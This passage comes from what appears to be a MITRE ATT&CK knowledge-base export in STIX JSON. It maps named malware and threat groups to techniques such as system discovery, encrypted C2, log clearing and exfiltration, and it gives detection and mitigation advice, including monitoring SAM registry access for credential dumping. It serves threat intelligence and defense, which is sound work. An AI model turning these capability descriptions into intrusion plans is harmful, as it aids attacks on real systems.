"attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aec8bec0-d7ee-41a8-aef6-9ea18b1b59ab", "type": "relationship", "created": "2022-03-30T14:26:51.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.853Z", "description": "Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aecb4057-07a2-4b44-805a-5566a4047e23", "type": "relationship", "created": "2020-11-16T19:36:31.507Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}], "modified": "2020-11-18T18:23:19.125Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can collect the computer name, system architecture, default language, and processor frequency of a compromised host.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aeceafe5-efd2-413d-aa85-5ad99f3951a9", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor for the SAM registry key being accessed that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "source_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aed66fc1-f158-4518-8b33-8b95cbe5d168", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--aed677d9-a79f-4448-b6a9-3df4d647730b", "created": "2023-01-30T15:17:10.472Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-30T15:17:10.472Z", "description": "Routinely check account role permissions to ensure only expected users and roles have permission to modify system firewalls.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--aed72ec7-c810-4f29-9626-6dad85c3f8d8", "created": "2022-03-30T14:26:51.859Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "FireEyeSupplyChain", "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop", "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017."}, {"source_name": "Analyzing CS Dec 2020", "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)", "modified": "2022-04-20T03:07:17.564Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3", "target_ref": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T21:09:59.237Z", "description": "The initial beacon packet for [Mis-Type](https://attack.mitre.org/software/S0084) contains the operating system version and file system of the victim.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aee0e283-5bbd-4332-af46-f477d3ce38d6", "type": "relationship", "created": "2020-02-04T12:59:37.774Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-04T12:59:37.774Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--aee29ae1-4544-4fc8-b30b-4717888991ca", "created": "2020-07-15T19:28:00.717Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Gh0stRAT ATT March 2019", "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant", "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has gathered system architecture, processor, OS configuration, and installed hardware information.(Citation: Gh0stRAT ATT March 2019)", "modified": "2022-04-15T15:11:09.987Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--aee478b7-c5f5-4d31-8df7-bd44fca1d677", "created": "2022-09-26T19:58:17.721Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bleeping Computer Op Sharpshooter March 2019", "description": "I. Ilascu. (2019, March 3). Op 'Sharpshooter' Connected to North Korea's Lazarus Group. Retrieved September 26, 2022.", "url": "https://www.bleepingcomputer.com/news/security/op-sharpshooter-connected-to-north-koreas-lazarus-group/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T20:02:14.658Z", "description": "[Rising Sun](https://attack.mitre.org/software/S0448) variants can use SSL for encrypting C2 communications.(Citation: Bleeping Computer Op Sharpshooter March 2019)", "relationship_type": "uses", "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aee59ac6-e6e6-4b35-b2ce-4e529d4efc4b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2020-03-17T14:41:19.008Z", "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aeea094c-6ea6-4b32-b723-bb475cf42681", "type": "relationship", "created": "2019-12-20T13:42:28.066Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/", "description": "Lin, P. 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(2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}], "modified": "2020-08-17T14:08:26.521Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can list information about files in a directory and recently opened or used documents. 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Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepyDrive](https://attack.mitre.org/software/S1023) can upload files to C2 from victim machines.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-07-25T16:18:01.770Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aef7fe44-f381-41d5-88af-f04135e3aeab", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub Responder", "description": "Gaffie, L. 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(2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}], "modified": "2020-08-13T18:21:08.344Z", "description": "[MCMD](https://attack.mitre.org/software/S0500) can Base64 encode output strings prior to sending to C2.(Citation: Secureworks MCMD July 2019)", "relationship_type": "uses", "source_ref": "tool--975737f1-b10d-476f-8bda-3ec26ea57172", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aeffbd1d-a962-492a-a6bf-670b70f01abb", "type": "relationship", "created": "2021-03-25T14:13:41.447Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Google Election Threats October 2020", "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/", "description": "Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."}, {"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-03-25T14:13:41.447Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used malicious links in e-mails to lure victims into downloading malware.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--af009cfc-2b1f-4c4c-8712-0c13a2884d8e", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Trojan.Hydraq Jan 2010", "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"}, {"source_name": "Symantec Hydraq Jan 2010", "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}], "modified": "2020-02-18T03:48:53.732Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can clear all system event logs.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--af052dd3-641e-4954-a08f-74d56ad29b53", "type": "relationship", "created": "2021-03-05T18:54:56.544Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Higaisa 2020", "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", "description": "Singh, S. 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(2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "source_name": "Baumgartner Naikon 2015"}, {"source_name": "CameraShy", "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"}], "modified": "2019-04-10T15:59:09.336Z", "description": "(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)", "relationship_type": "uses", "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", "target_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--af0f063e-811e-40fd-8ea4-135bf10f95b7", "created": "2023-09-05T18:07:51.258Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender Sardonic Aug 2021", "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. 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Retrieved April 20, 2016.", "source_name": "Group-IB Anunak"}], "modified": "2019-12-27T15:48:40.321Z", "description": "[Carbanak](https://attack.mitre.org/groups/G0008) used legitimate programs such as AmmyyAdmin and Team Viewer for remote interactive C2 to target systems.(Citation: Group-IB Anunak)", "relationship_type": "uses", "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--af1e6f67-b513-42f7-b5df-dfb04b38caf6", "type": "relationship", "created": "2019-07-19T14:34:28.783Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Ready.gov IT DRP", "url": "https://www.ready.gov/business/implementation/IT", "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}], "modified": "2021-03-25T14:47:48.984Z", "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", "relationship_type": "mitigates", "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--af1edc78-f0b2-450c-b91f-fe1646589173", "type": "relationship", "created": "2020-06-30T00:39:39.953Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Ragnar May 2020", "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}], "modified": "2020-06-30T00:39:39.953Z", "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has used regsvr32.exe to execute components of VirtualBox.(Citation: Sophos Ragnar May 2020)", "relationship_type": "uses", "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--af1fc367-9987-4076-9ce6-2414cd2d4a1f", "type": "relationship", "created": "2020-05-15T16:50:05.777Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Infoblox Lokibot January 2019", "url": "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22", "description": "Hoang, M. (2019, January 31). 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Retrieved May 20, 2020."}], "modified": "2021-10-13T18:10:57.427Z", "description": "Enable Windows Group Policy \u201cDo Not Allow Anonymous Enumeration of SAM Accounts and Shares\u201d security setting to limit users who can enumerate network shares.(Citation: Windows Anonymous Enumeration of SAM Accounts)", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Baumgartner Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May). 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Retrieved June 16, 2020."}], "modified": "2020-06-16T20:51:14.280Z", "description": "[RTM](https://attack.mitre.org/software/S0148) can add a certificate to the Windows store.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--af766021-c066-416c-80ba-9687f5641457", "type": "relationship", "created": "2021-10-11T18:29:51.359Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. 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(2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--afcc4ac4-b088-4795-b159-c6245223178b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos GravityRAT", "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. 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(2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}], "modified": "2020-03-30T02:19:19.023Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses a variation of the XOR cipher to encrypt files before exfiltration.(Citation: ESET InvisiMole June 2018)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--afd15f23-1829-4d86-9d8b-cae915fe8596", "type": "relationship", "created": "2020-02-21T21:05:33.155Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", "description": "Graeber, M. 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Retrieved December 12, 2017."}, {"source_name": "Zairon Hooking Dec 2006", "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/", "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017."}, {"source_name": "Microsoft Hook Overview", "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx", "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017."}, {"source_name": "PreKageo Winhook Jul 2011", "url": "https://github.com/prekageo/winhook", "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017."}, {"source_name": "Jay GetHooks Sept 2011", "url": "https://github.com/jay/gethooks", "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017."}, {"source_name": "Volatility Detecting Hooks Sept 2012", "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html", "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for API calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)", "modified": "2022-04-20T13:05:08.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--afd2f545-557a-4113-bc0a-3191e71bcbea", "type": "relationship", "created": "2021-06-07T13:46:13.198Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}, {"source_name": "NCC Group Fivehands June 2021", "url": "https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/", "description": "Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021."}], "modified": "2021-06-24T13:35:43.501Z", "description": "[FIVEHANDS](https://attack.mitre.org/software/S0618) has the ability to decrypt its payload prior to execution.(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)(Citation: NCC Group Fivehands June 2021)", "relationship_type": "uses", "source_ref": "malware--f464354c-7103-47c6-969b-8766f0157ed2", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--afd3118f-bde5-4c02-8e82-045edec0dfdc", "created": "2023-03-17T14:42:58.326Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Lazarus Jun 2020", "description": "Breitenbacher, D 